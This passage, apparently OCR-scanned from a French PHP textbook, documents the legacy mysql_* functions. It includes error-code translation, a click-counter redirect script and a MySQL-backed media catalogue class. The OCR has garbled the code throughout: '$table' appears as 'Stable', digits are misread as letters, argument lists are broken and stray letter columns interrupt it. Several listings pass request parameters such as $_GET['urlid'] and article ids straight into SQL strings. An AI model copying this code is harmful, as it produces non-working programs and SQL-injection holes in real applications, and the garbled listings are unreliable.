requetes (INSERT avec des valeurs issues d'un SELECT, INSERT de plusieurs lignes, LOAD 
DATA INFILE, ALTER TABLE et UPDATE) en fait il s'agit de celles susceptible de modifier 
plusieurs enregistrements a la fois. 

Syntaxe: string mysql_info([ressource $idConnexion]) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

mysql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 
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retour Chaine de caracteres semblable a "Records: 2 Duplicates: Warnings: 0" 

ou FALSE si la requete ne retourne pas d'info. 

Gestion des erreurs 

Jusque-la, en cas d'erreur, nous nous sommes contentes d'afficher un message generique. II est 
cependant possible de determiner plus precisement l'origine de l'erreur. 

Cela est notamment possible en recuperant un code d'erreur via la fonction mysql_errno ( ) . 



mysql_errno() 

Retourne le code d'erreur du dernier appel MySQL. 

Syntaxe int mysql_errno( [resource $idConnexion] ) 

$i dConnexi on Identifiant de connexion au serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Code d'erreur, ou tout simplement si la derniere operation s'est passee 

sans erreur. 



mysql_error() 



Retourne le message d'erreur associe au dernier appel MySQL. Ce message depend du serveur, 
mais aura toutes les chances d'etre en anglais. 

Syntaxe string mysql_error( [resource $i dConnexi on]) 

$i dConnexi on Identifiant de connexion au serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Message d'erreur, ou tout simplement une chaine vide "" si la derniere 

operation s'est passee sans erreur. 

Tableau 10.14 : Exemples de codes et messages d'erreur 

Code Message Description 

Pas d'erreur 

1049 Unknown database 'nombase' La base 'nombase' n'existe pas 

1051 Unknown table 'nomtable' La table 'nomtabie' n'existe pas 

1054 Unknown column 'nomchamp' in 'field Le champ ' nomchamp ' precise 

list' dans la liste de champs n'existe pas 
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Code 


Message 


Description 


1054 (etoui! le 
meme code que 
precedemment) 


Unknown column 'nomchamp' in 
'where clause' 


Le champ ' nomchamp ' precise 
dans la clause WHERE n'existe pas 


2005 


Unknown MYSQL Server Host 
'nomserveur' (2) 


Le Serveur MySQL ' nomserveur ' 

n'existe pas 



Vous pourrez, par exemple, vous servir des codes d'erreur pour afficher vos propres messages 
d'erreur. Dans l'exemple suivant, nous montrons comment traduire les messages d'erreur (cela 
ne s'appliquera qu'a l'echantillon de codes qui vient d'etre presente). 

Listing 10.36 : mysql_err_inc.php 

<?php 

// Retourne une version Franchise du message d'erreur 

// en se basant sur le code d'erreur et sur les informations 

// complementaires que 1 ' on peut trouver dans le message 

// Anglais 

function mysql_error_fr() 

{ 
// Les noms de tables et autres informations 
// sont entre apostrophes dans le message d'erreur 
// il est done utile de le decomposer 
$morceaux = explode( , mysql_error()) ; 

switch (mysql_errno()) { 
case : // message vide 
return ""; 

case 1049 : // Unknown database 'nombase' 

return "La base '" .$morceaux[l] ." ' n'existe pas"; 

case 1051 : // Unknown table 'nomtable' 

return "La table ' ".$morceaux[l] . " ' n'existe pas"; 

case 1054 : // Unknown column 'nomchamp' in 'field list 1 
// Unknown column 'nomchamp' in 'where clause' 
switch ($morceaux[3]) { 
case 'field list' : 

return "Le champ ' ".$morceaux[l] ." ' precise". 

" dans la liste des champs n'existe pas"; 
case 'where clause' : 

return "Le champ ' ".$morceaux[l] ." ' precise". 
" dans la clause WHERE n'existe pas"; 
default : 

return mysql_error() ; 

} 
case 2005 : // Unknown MYSQL Server Host 'nomserveur' (2) 

return "Le serveur MySQL '" .$morceaux[l] . " ' n'existe pas"; 
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default : 

return mysql_error() ; 



!> 

Et voici un script generant l'ensemble des erreurs ci-dessus, afin de bien mettre en evidence le 
bon fonctionnement de cette fonction personnalisee : 

Listing 10.37 : mysqlerrOI. php 

<?php 

i ncl ude_once ( "parametres_bd_i nc . php" ) ; 
i ncl ude_once ( "mysql _err_i nc . php" ) ; 

Stable = "tableerr"; 

@mysql_pconnect("erreur") ; 
echo mysql_error_fr() ."<br />"; 

mysql_pconnect($serveur. $port, $util isateur, $motDePasse) or 

die("<b>Impossible de se connecter au serveur base de donnees.</b>") ; 

@mysql_select_db("erreur") ; 
echo mysql_error_fr() ."<br />"; 

mysql_select_db($base) or 

die("<b>Grrr. . . J'aurais aime qu'elle existe cette base.</b>"); 

@mysql_query("DROP TABLE erreur"); 
echo mysql_error_fr() . "<br />"; 

mysql_query("CREATE TABLE IF NOT EXISTS Stable (id INT2)") or 
die("<b>Grrr. . . J'aurais aime que cette requete ne tombe". 
" pas en erreur. </b>"); 

@mysql_query("SELECT erreur FROM Stable"); 
echo mysql_error_fr() . "<br />"; 

@mysql_query("SELECT * FROM Stable WHERE erreur=l"); 
echo mysql_error_fr() . "<br />"; 



Ce script genere alors une page contenant les messages : 

Le serveur MySQL 'erreur' n' existe pas 

La base 'erreur' n' existe pas 

La table 'erreur' n' existe pas 

Le champ 'erreur' precise dans la liste des champs n' existe pas 

Le champ 'erreur' precise dans la clause WHERE n' existe pas 
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Chapitre 10 L'utilisation des bases de donnees 



Exemples d'applications 
Compteur de clics 

Une application courante d'utilisation des bases de donnees, et simple a mettre en oeuvre, 
consiste a creer un compteur de clics. 

En effet, peut-etre souhaitez-vous proposer, sur votre site, un certain nombre de liens vers des 
sites Internet (annuaire web) ou vers des fichiers (bibliotheques de scripts). Peut-etre que 
certains (ou la totalite) de ces liens sont proposes par un partenaire. Bref, tout cela vous incite 
a savoir quelles sont les pages les plus frequemment consultees (pour connaitre les centres 
d'interet des visiteurs) et combien de visiteurs vous avez rediriges vers votre sponsor. 

La methode la plus classique consiste a stocker en base de donnees l'ensemble des liens ainsi 
proposes, et a remplacer les traditionnels liens de la forme http://www.domaine.com par un lien 
vers un script charge d'incrementer le compteur correspondant au site indique, et de rediriger 
le client vers le site grace a la fonction header ( ) . 




Vous pouvez vous reporter a ['annexe "Les en-tetes" pour plus de renseignements sur 

la redirection. 
RENVOI 

Pour notre exemple, nous utiliserons une table appelee url contenant trois champs : 

urlid, identifiant de l'URL (champ auto-incremente) ; 
url, l'URL proprement dite ; 
■ nbclic, le nombre de clics. 

Le script de redirection (appele ici compteurclic jredirection.php) devra alors accepter un 
parametre (urlid) et devra, a partir de ce parametre, determiner quelle est la valeur du champ 
url, incrementer nbclic pour cette URL, et rediriger vers url. 

Les appels a ce script auront alors la forme http://localhost/compteurclic_redirection.php?urlid=3 
(pour acceder a l'URL ayant l'identifiant 3). A supposer que l'URL 3 corresponde au site 

http://WWW.SqlfaCile.COm cela Signifie que le lien <a href ="http:/ /www. sqlfacile.com "> 
devra etre remplace par <a href="compteurclic_redirection.php?urlid=3> si Ton sou- 

haite en compter le nombre de clics. 

Concretement, cette table pourra etre creee et alimentee avec la fonction cc_initiaiiseBD ( ) 
du script suivant : 

Listing 10.38 : compteurclic_bd_inc.php (debut) 

<?php 

//— 

// Charge les parametres de connexion 

// a la base de donnees. 

// 

require once ("parametres bd inc.php"); 
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/** 

* Fonction de connexion a une base de donnees 

* s'appuie sur les parametres fournis 

* dans parametres_bd_inc.php. 
* 

* @return resource Identifiant de connexion 

7 
function CC_connexion() 

{ 

global $serveur, $base, $utilisateur, $motDePasse; 

$idConnexion = mysql_pconnect($serveur, $utilisateur, $motDePasse) ; 
if (!$idConnexion) return FALSE; 
mysql_select_db($base) ; 

return $idConnexion; 
} 

/** 

* Fonction de deconnexion. 

* (Ne fait rien sachant que la fonction 

* de connexion etablit une connexion persistante) 

*/ 
function CC_deconnexion() 

{ 

return TRUE; 
} 

/* 
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/** 



* Fonction charge de creer et d'alimenter 

* la table "compteur de clics" 

** / 

function CC_initial iseBD($idConnexion, Stable) 

{ 

// Creation de la table 
$requete = "DROP TABLE Stable"; 
@mysql_query($requete, $idConnexion) ; 

$requete = "CREATE TABLE Stable (". 

"urlld INTEGER ". 

"AUTO_INCREMENT PRIMARY KEY,". 

"url VARCHAR(128) NOT NULL,". 

"nbclic INTEGER DEFAULT 0,". 

"UNIQUE(url))"; 
if (!mysql_query($requete, $idConnexion)) return FALSE; 

// Alimentation de la table 

$requete = "INSERT INTO Stable (url)". 

" VALUES ('http://www.php.net 1 )"; 
if (!mysql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 
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" VALUES ('http://www.phpfacile.com')"; 
if (!mysql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.sqlfacile.com')"; 
if (!mysql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.xmlfacile.com')"; 
if (!mysql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.ootoogo.com')"; 
if (!mysql_query($requete, $idConnexion)) return FALSE; 

return TRUE; 



?> 



La lecture de la liste des liens disponibles en base de donnees pourra se faire via la fonction 
cc_recupereLiens ( ) du script suivant : 

Listing 10.39 : compteurclic_bd_inc.php (milieu) 

<?php 

/** 

* Fonction retournant les informations de liens 

* sous forme d'un tableau associatif possedants 

* les cles 

* - "lien" associe au tableau des liens hypertextes 

* - "nbclic" associe au tableau des nombres de clics 

function CC_recupereLiens($idConnexion, Stable) 

{ 

// Norn du script charge du comptage et de la redirection 
$script = "compteurclic_redi recti on. php"; 

// Requete SELECT 

$requete = "SELECT * FROM Stable"; 

$idResultat = mysql_query($requete, $idConnexion) ; 

// Recuperation des enregistrements les uns apres les autres 
while ($enreg = mysql_fetch_array($idResultat)) { 
$liens["lien"] [] = "<a href=\"$script?urlid=". 
$enreg["url Id"] ."\">". 
$enreg["url "] ."</a>"; 
$liens["nbclic"] [] = $enreg["nbcl ic"] ; 
} 



return $liens; 



} 
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L'affichage des liens consiste uniquement a mettre en page le contenu du tableau ainsi 
recupere (voir la fonction du script compteurclicjitmljnc.php). 

Comme cela a ete precise, le lien <a href="http: //www.sqifacile.com">http: //www 

. sqlfacile.com</a> a ete remplace par <a href="compteurclic_redirection 

.php?urlid=3">http: / /www. sql facile . com </a>. La redirection vers le site www.sqlfacile 
.com est done a la charge du script compteurclic _redirection.php . 

Listing 10.40 : compteurclic_redirection.php 

<?php 

// Parametres du script 

requi re_once ( "compteurcl i c_bd_i nc . php" ) ; 

Stable = "compteurclic"; 

// Connexion a la base de donnees 
SidConnexion = @CC_connexion() ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 
} 

// Recuperation de l'url et incrementation du compteur 

// pour l'url d'indentifiant passe en parametre de ce script 

// par la methode GET 

$url = @CC_recupereUrl (SidConnexion, $_GET["urlid"]) ; 

// Deconnexion 
@CC_deconnexion() ; 

// C'est l'heure de la redirection 
if ($url) { 

header("Location: $url"); 
} else { 

echo "Desole, nous ne pouvons vous proposer ce lien"; 



Ce script appelle principalement la fonction cc_recupereUrl ( ) suivante : 
Listing 10.41 : compteurclicbdinc.php (fin) 



<?php 



* Fonction recuperant une url a partir de son identifiant 

* et incrementant le compteur de dies 
** / 

function CC_recupereUrl (SidConnexion, $urlid) 

{ 

global Stable; 

// Recupere 1 'url 







01 


o 


CD 


i-; 


v> 


c=* 






a. 


^; 


CD 


Jfl" 


a. 


s. 


o 




3 


o' 


3 


3 


CD* 
CD 


a. 


V) 


CD 



717 



Chapitre 10 L'utilisation des bases de donnees 



CD 


GO 


■o 


a> 


c 


£= 


o 


£= 


*™ 


O 


CO 


■D 


go 


03 


IS 


■a 






3 


GO 


1j 


a> 

GO 


o 


CO 

.a 







$requete = "SELECT * FROM $table WHERE url id=$url id" ; 
$idResultat = mysql_query($requete, $idConnexion) ; 

if ($enreg = mysql_fetch_array($idResultat)) { 
$url = $enreg["url "] ; 

// Incremente le compteur 

$requete = "UPDATE Stable SET nbcl ic=nbcl ic+1 WHERE url id=$url id" ; 
mysql_query($requete, $idConnexion) ; 
} else { 

$url = FALSE; 

} 

return $url ; 



REMARQUE 



Utilisation du bouton retour 

Si, apres avoir suivi un lien, vous revenez sur la page compteurclic.php en utilisant le 
bouton retour (back), le contenu de la page ne sera pas reactualise. Par consequent, 
le nombre de visites affiche ne sera pas correct. N'oubliez done pas, dans ce cas, de 
rafraichir (bouton actualiser) la page. 



SuperTheque 



L'essentiel du code de l'application a ete presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions MySQL pour implementer l'interface Ressourceinterf ace 
e'est desormais chose faite: 

Listing 10.42 : RessourceMySQLclass.php 

<?php 
include_once("RessourceInterface_class.php") ; 

include_once(dirname( FILE ) ."/■ -/conf i g/mysq1_cfg . php") ; 

/** 

* RessourceMySQL_class.php 

* Classe d'acces a une base de donnees MySQL 

* Cette classe doit implementer toutes les methodes de l'interface 

* Ressourcelnterface. 

* Compatibilite: PHP 5 

V 

class Ressource implements Ressourcelnterface 

{ 

var $idConnexion; 

public function connexion() 

{ 

global $mysql_serveur, $mysql_util isateur, $mysql_motDePasse; 
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global $mysql_base; 

if (!isset($this->idConnexion)) { 

$idConnexion = mysql_pconnect($mysql_serveur, 

$mysql_util isateur, 
$mysql_motDePasse) ; 
if (!$idConnexion) return FALSE; 
mysql_select_db($mysql_base) ; 
$this->idConnexion = $idConnexion; 
} 
return TRUE; 



public function deconnexion() 
{ 

// Rien a faire, il s'agit d'une connexion persistante 



public function reset () 

{ 

$requete = "DROP TABLE types"; 

$idResultat = mysql_query($requete, $this->idConnexion) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE types (". 

"id INTEGER AUTOJNCREMENT PRIMARY KEY,". 

"type VARCHAR(255))"; 
$idResultat = mysql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$types = array ("Album", "Film", "Livre", "Musique"); 
foreach ($types as $type) { 

$requete = "INSERT INTO types (type) VALUES ('$type')"; 

$idResultat = mysql_query($requete, $this->idConnexion) ; 

if (!$idResultat) return FALSE; 
} 

$requete = "DROP TABLE articles"; 

$idResultat = @mysql_query($requete, $this->idConnexion) ; 

// Pas de raison de retourner un erreur 

// si la suppression echoue (si la table n'existe pas) 

$requete = "CREATE TABLE articles (". 

"id INTEGER AUTOJNCREMENT PRIMARY KEY,". 

"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255)) "; 
$idResultat = mysql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 
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public function addArticle($albumId, 

$titre, 
$typeld, 
$commentaire) 
{ 

$requeteDebut = "INSERT INTO articles (albumld, titre, typeld"; 
$requeteFin = ") VALUES ($albumld,". 

.mysql_escape_string($titre) .'",". 

"$typeld"; 
if ($commentaire != "") { 

$requeteDebut .= ",commentaire"; 

$requeteFin .= ", ' " .mysql_escape_string($commentaire) ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 
$idResultat = mysql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 
} 

public function getArticle($articleId) 

{ 

$requete = "SELECT * FROM articles WHERE id=$articleld" ; 
$idResultat = mysql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$article = NULL; 

if ($enreg = mysql_fetch_array($idResultat)) { 
$article = $this->enreg2Article($enreg) ; 

} 

return $article; 



public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

{ 

$requete = "SELECT * FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE "'. 
mysql_escape_string($filtre->getTitre()) ."" 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 
} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY " .$tri->getChamp() . " DESC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY " .$tri->getChamp() . " ASC"; 
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} 

$1 imiteSQL = "LIMIT " .$plage->getNbArticleMax() . 

" OFFSET ".$plage->getPremierArticle(); 

$requete = $requete." WHERE " .$condi tionSQL. " ". 

$triSQL." ".$limiteSQL; 
$idResultat = mysql_query($requete, $this->idConnexion) 
if (!$idResultat) return FALSE; 

$articles = NULL; 

while ($enreg = mysql_fetch_array($idResultat)) { 

$articles[] = $this->enreg2Article($enreg) ; 
} 
return $articles; 



public function getNbTotalArticles(Fil tre $filtre) 
{ 

$requete = "SELECT C0UNT(*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 
} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 
mysql_escape_string($filtre->getTitre()) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 
} 

$requete = $requete." WHERE ".$conditionSQL; 
$idResultat = mysql_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

if ($enreg = mysql_fetch_array($idResultat)) { 

return $enreg[0] ; 
} else return FALSE; 



public function getTypesQ 
{ 

$requete = "SELECT * FROM types"; 

$idResultat = mysql_query($requete, $this->idConnexion) 

if (!$idResultat) return FALSE; 

$types = NULL; 

while ($enreg = mysql_fetch_array($idResultat)) { 

$types[$enreg["id"]] = $enreg["type"] ; 
} 
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Chapitre 10 L'utilisation des bases de donnees 



return $types; 
} 

public function getAlbumTypeId() 

{ 

return 1; 

} 

private function enreg2Article($enreg) 
{ 

$article = new ArticleO; 

$article->setld($enreg["id"]); 

$article->setAlbumId($enreg["albumId"]) ; 

$article->setTitre($enreg["titre"]) ; 

$article->setTypeId($enreg["typeId"] ) ; 

$article->setCommentaire($enreg["commentaire"]] 

return $article; 



} 
?> 

Comme vous le constatez, la principale difficulte n'est pas tant au niveau des fonctions 
disponibles qu'au niveau de la construction des requetes SQL. La requete sera simple lorsqu'il 
ne s'agit que de recuperer un enregistrement identifie par la cle id (comme c'est le cas avec 
getArticle ( )) elle sera bien plus complexe s'il s'agit des recuperer un ensemble 
d'enregistrements repondant a des criteres precis et tries (comme c'est le cas avec 
getArticles ( ) ). 



Requetes avec des apostrophes 

Lors de la construction de la requete, il faut bien garder a l'esprit que l'un des elements de la 
requete (typiquement un champ de type texte saisi par l'utilisateur, comme ici le titre ou le 
commentaire) peut contenir une apostrophe qui pourrait etre confondu avec le delimiteur de 
chaine. Pensez done bien a faire un appel a addsiashes ( ) lorsque cela peut s'averer 
necessaire. 

Affichage page par page 

La meilleure facon avec MySQL pour n'extraire qu'un sous-ensemble des enregistrements 
retournes par une requete SQL consiste a utiliser l'instruction limit, limit permet de preciser 
combien d'enregistrements doivent etre retournes et a partir duquel commencer (sachant que 
le premier enregistrement porte l'index 0). 

Ainsi, select * from nomtable limit o, 10; retourne les dix premiers enregistrements (de 
l'index a l'index 9) et select * from nomtable limit 10, 20; retourne les vingt suivants 
(de l'index 10 a l'index 29). 
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Tri 

Modifier l'ordre d'affichage des annonces n'est pas non plus bien sorcier. Le tri peut s'effectuer 
directement au niveau de la requete SQL, grace a l'instruction order by. 

Moteur de recherche (filtre) 

Pour filtrer, il suffit d'utiliser 1'instruction where. Dans notre cas, nous souhaitons autoriser 
l'utilisation de jokers (comme %) afin, par exemple, de rechercher les titres commengant par 
une chaine donnee. C'est pourquoi, nous ne ferons pas un test de type titre=' motcle ' mais 
titre like 'motcle' (ou motcle pourrait avoir la valeur "La 7eme compagnie%"). 



En savoir plus. 







01 


o 


CD 


1— 


v> 


c= 






a. 


^; 


CD 


CO 


a. 


ai 


o 




3 


o 


3 


3 


CD* 


a. 


CO 


CD 



. . . sur une requete 

Si vous souhaitez connaitre le nombre de champs retournes par une requete, faites simplement 

appel a mysql_num_f ields ( ) . 



mysql_num_fields () 



Retourne le nombre de champs d'un enregistrement. 

Syntaxe int mysql_num_fi elds (resource $idRequete) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables i 

retour Nombre de champs retournes par une requete. 



sur les champs d'une table 



Vous pouvez recuperer la liste des champs contenus dans une base en langant une requete avec 

mysql_list_f ields ( ) , et en lisant le resultat avec mysqLf ield_name ( ) . 



mysql_list_fields() 

Retourne un identifiant sur une requete listant les champs disponibles dans la table. 

Syntaxe resource mysql_l ist_fields(string $nomBaseDonnees, string 

$nomTable, [resource $idConnexion]) 

$nomBaseDonnees Nom de la base de donnees contenant la table dont on souhaite connaitre 
les champs. 

$nomTabl e Nom de la table dont on souhaite connaitre les champs. 
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Chapitre 10 L'utilisation des bases de donnees 



$ i dConnexi on Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de la requete, ou FALSE en cas d'echec (nom de base ou de 

table nonvalide). 



mysql_field_name () 



Retourne le nom des champs dans la table. 

Syntaxe string mysql_field_name(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables ( ) . 

$ index Index du champ dont on souhaite connaitre le nom (le premier champ 

porte l'index 0). Le nombre total de champs peut etre obtenu en faisant 
appel amysql_num_f ields ( ) . 

retour Nom du champ, ou FALSE si l'index n'est pas valide, ou rien si l'identifiant 

de resultat n'est pas valide. 

Cependant, les champs ont d'autres informations a nous livrer que leur nom. Pour cela, vous 
diposez des fonctions : 



mysql_field_type() 

Retourne le type des champs de la table. 

Syntaxe string mysql_field_type(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables ( ) . 

$i ndex Index du champ dont on souhaite connaitre le type. Le nombre total de 

champs peut etre obtenu en faisant appel amysql_num_f ields ( ) . 

retour Type du champ, ou FALSE en cas d'erreur. 



mysql_field_len() 

Retourne la taille (en octets) des champs de la table. 

Syntaxe string mysql_field_len(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables ( ) . 

$i ndex Index du champ dont on souhaite connaitre le type. Le nombre total de 

champs peut etre obtenu en faisant appel a mysql_num_f ields ( ) . 
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retour Taille en octets occupee par le champ, ou FALSE en cas d'erreur d'index 

ou rien en cas d'identifiant de requete non valide. 



mysql_field_flags () 

Retourne les attributs (not null, etc.) des champs de la table. 

Syntaxe string mysql_fi el d_flags (resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne parmysql_list_tables ( ) . 

$i ndex Index du champ dont on souhaite connaitre le type. Le nombre total de 

champs peut etre obtenu en faisant appel a mysql_num_f ields ( ) . 

retour Chaine de caracteres contenant les attributs separes par des espaces (les 

blancs contenus dans les attributs sont remplaces par des underscores (ex : 
no t_nul 1) ; FALSE en cas d'erreur d'index ou rien en cas d'identifiant de 
requete non valide. 

. . . sur les tables d'une base 

Le principe est exactement le meme pour recuperer la liste des tables contenues dans une base. 



mysql_list_tables() 

Retourne un identifiant sur une requete listant les tables disponibles dans la base de donnees. 

Syntaxe resource mysql_l ist_tables (string $nomBaseDonnees, [resource 

$idConnexion]) 

$nomBaseDonnees Nom de la base de donnees dont on souhaite connaitre les tables. 

$idConnexion Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de la requete, ou FALSE en cas d'echec (nom de base non 

valide). 



mysql_tablename () 



Retourne le nom des tables dans la base. 

Syntaxe string mysql_tablename(resource $idRequete, int $index) 

SidRequete Identifiant de requete tel que retourne parmysql_list_tables i 
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Chapitre 10 L'utilisation des bases de donnees 

$i ndex Index de la table dont on souhaite connaitre le nom. Le nombre total de 

tables peut etre obtenu en faisant appel a mysql_num_rows ( ) . 

retour Nom de la table, ou FALSE en cas d'erreur d'index, ou rien en cas 

d'identifiant de requete non valide. 

. . . sur les bases d'un serveur 

mysql_list_dbs() 

Retourne un identifiant sur une requete listant les bases de donnees disponibles sur le serveur. 

Syntaxe resource mysql_l ist_dbs( [resource $idConnexion]) 

$ i dConnexi on Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de la requete. 

mysql_db_name() 

Retourne le nom des bases de donnees sur le serveur. 

Syntaxe string mysql_db_name(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne par mysql_l is t_dbs ( ) . 

$ i ndex Index de la base de donnees dont on souhaite connaitre le nom. Le nombre 

total de bases peut etre obtenu en faisant appel a mysql_num_rows ( ) . 

retour Nom de la base de donnees, ou FALSE en cas d'erreur (ex. : index non 

valide), voire rien pour d'autres cas d'erreur (ex. : identifiant de requete 
non valide). 

Vous pourrez done lister les champs de la premiere table de la premiere base de votre serveur 
avec le script suivant : 

Listing 10.43 : mysql_13.php 

<?php 

i ncl ude_once ( "parametres_bd_i nc . php" ) ; 

mysql_pconnect($serveur. $port, $util isateur, $motDePasse) or 

die("<b>Impossible de se connecter au serveur base de donnees. </b>") ; 

SidListeBD = mysql_list_dbs(); 
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if ($nomBD = @mysql_db_name($idListeBD, 0)) { 

//$nomBD = "basemysql"; // Pour forcer un nom de base 

echo "Votre serveur contient au moins la base <b>$nomBD</bxbr />"; 

$idListeTable = mysql_list_tables($nomBD) ; 

if ($nomTable = @mysql_tablename($idListeTable, 0)) { 

echo "Et el 1 e continent au moins la table <b>$nomTable</bxbr />"; 

echo "Dont les champs sont:<br />"; 

$idListeChamp = mysql_list_fields($nomBD, $nomTable); 

echo "Rows=".mysql_num_rows($idListeChamp) . "<br />"; 
echo "Col=".mysql_num_fields($idListeChamp) ."<br />"; 

$nb = 0; 

while ($nomChamp = @mysql_field_name($idListeChamp, $nb)) { 

$type = mysql_field_type($idListeChamp, $nb) ; 

$taille = mysql_field_len($idListeChamp, $nb); 

$attribut = mysql_field_flags($idListeChamp, $nb) ; 

echo "- <i>$nomChamp</i> de type <i>$type</i>"; 

echo " occupant <i>$taille</i> octets"; 

echo " avec les attributs <i>$attribut</ixbr />"; 

$nb++; 



else { 
die("Il semblerait que votre serveur ne contienne aucune base"); 
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. . . sur la connexion courante 

PHP 4.3 a apporte son lot de nouvelles fonctions permettant notamment d'en savoir un peu 
plus sur la connexion courante: Est-elle encore active? Quel identifiant lui est associe? 



mysql_ping() 



Teste la connexion avec le serveur de base de donnees et tente de la retablir si elle a ete perdue 
(apr exemple sur delai expire). 

Syntaxe : boolean mysql_ping([resource $idConnexion]) 

$idConnexion Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. S'il n'y a pas eu de 
precedente tentative de connexion, c'est la connexion locale qui est testee. 

retour TRUE si la connexion est toujours etablie, FALSE sinon. 
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Chapitre 10 L'utilisation des bases de donnees 

mysql_thread_id() 

Retourne l'identifiant de la connexion (thread) sur le serveur de bases de donnees. 

Syntaxe : int mysql_thread_id( [resource $idConnexion] ) 

$idConnexion Identif iant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de connexion sur le serveur de base de donnees. 

. . . sur Pensemble des connexions 

Egalement apparues depuis la version 4.3 de PHP, les fonctions suivantes: 



mysql_stat() 



Retourne diverses informations (nombre de connexions ouvertes, nombre de requetes traitees, 
nombre de tables ouvertes, etc.) sur le serveur de bases de donnees. 

Syntaxe: string mysql_stat( [resource $idConnexion]) 

$ i dConnexi on Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Chaine de caracteres contenant l'ensemble des informations disponibles, 

sous une forme semblable a "Uptime: 22 Threads: 1 Questions: 9 Slow 
queries: Opens: 7 Flush tables: 1 Open tables: 1 Queries per second avg: 
0.409" 



mysql_list_processes () 



Retourne un identifiant sur une requete listant les connexions sur le serveur de bases de 
donnees. 

Syntaxe: resource mysql_l ist_processes( [resource $i dConnexi on]] 

$ i dConnexi on Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de la requete. 
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. . . sur les numeros de version 

Les fonctions evoquees ici ne sont pas d'une utilisation tres courante, mais elles pourront 
eventuellement vous servir si vous etes amene a utiliser des instructions avancees de la base de 
donnees MySQL (instructions implementees dans des versions recentes, par exemple). 



mysql_get_client_info () 

Retourne le numero de version de client MySQL integre a PHP. 

Syntaxe string mysql_get_cl ient_info(void) 

retour Numero de version du client MySQL. 

mysql_get_server_info () 

Retourne le numero de version du serveur MySQL sur lequel nous sommes connectes. 

Syntaxe string mysql_get_server_info( [resource $idConnexion] ) 

$idConnexion Identif iant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Numero de version du serveur. 
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mysql_get_host_info () 



Retourne le nom du serveur MySQL sur lequel nous sommes connectes et le mode de 
connexion. 

Syntaxe string mysql_get_host_info([resource $idConnexion]) 

$ i d Conn ex i on Identif iant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Nom et mode de connexion au serveur. 



mysql_get_proto_info () 

Retourne le numero de version du protocole de connexion utilise. 
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Chapitre 10 L'utilisation des bases de donnees 



Syntaxe string mysql_get_proto_info( [resource $idConnexion]) 

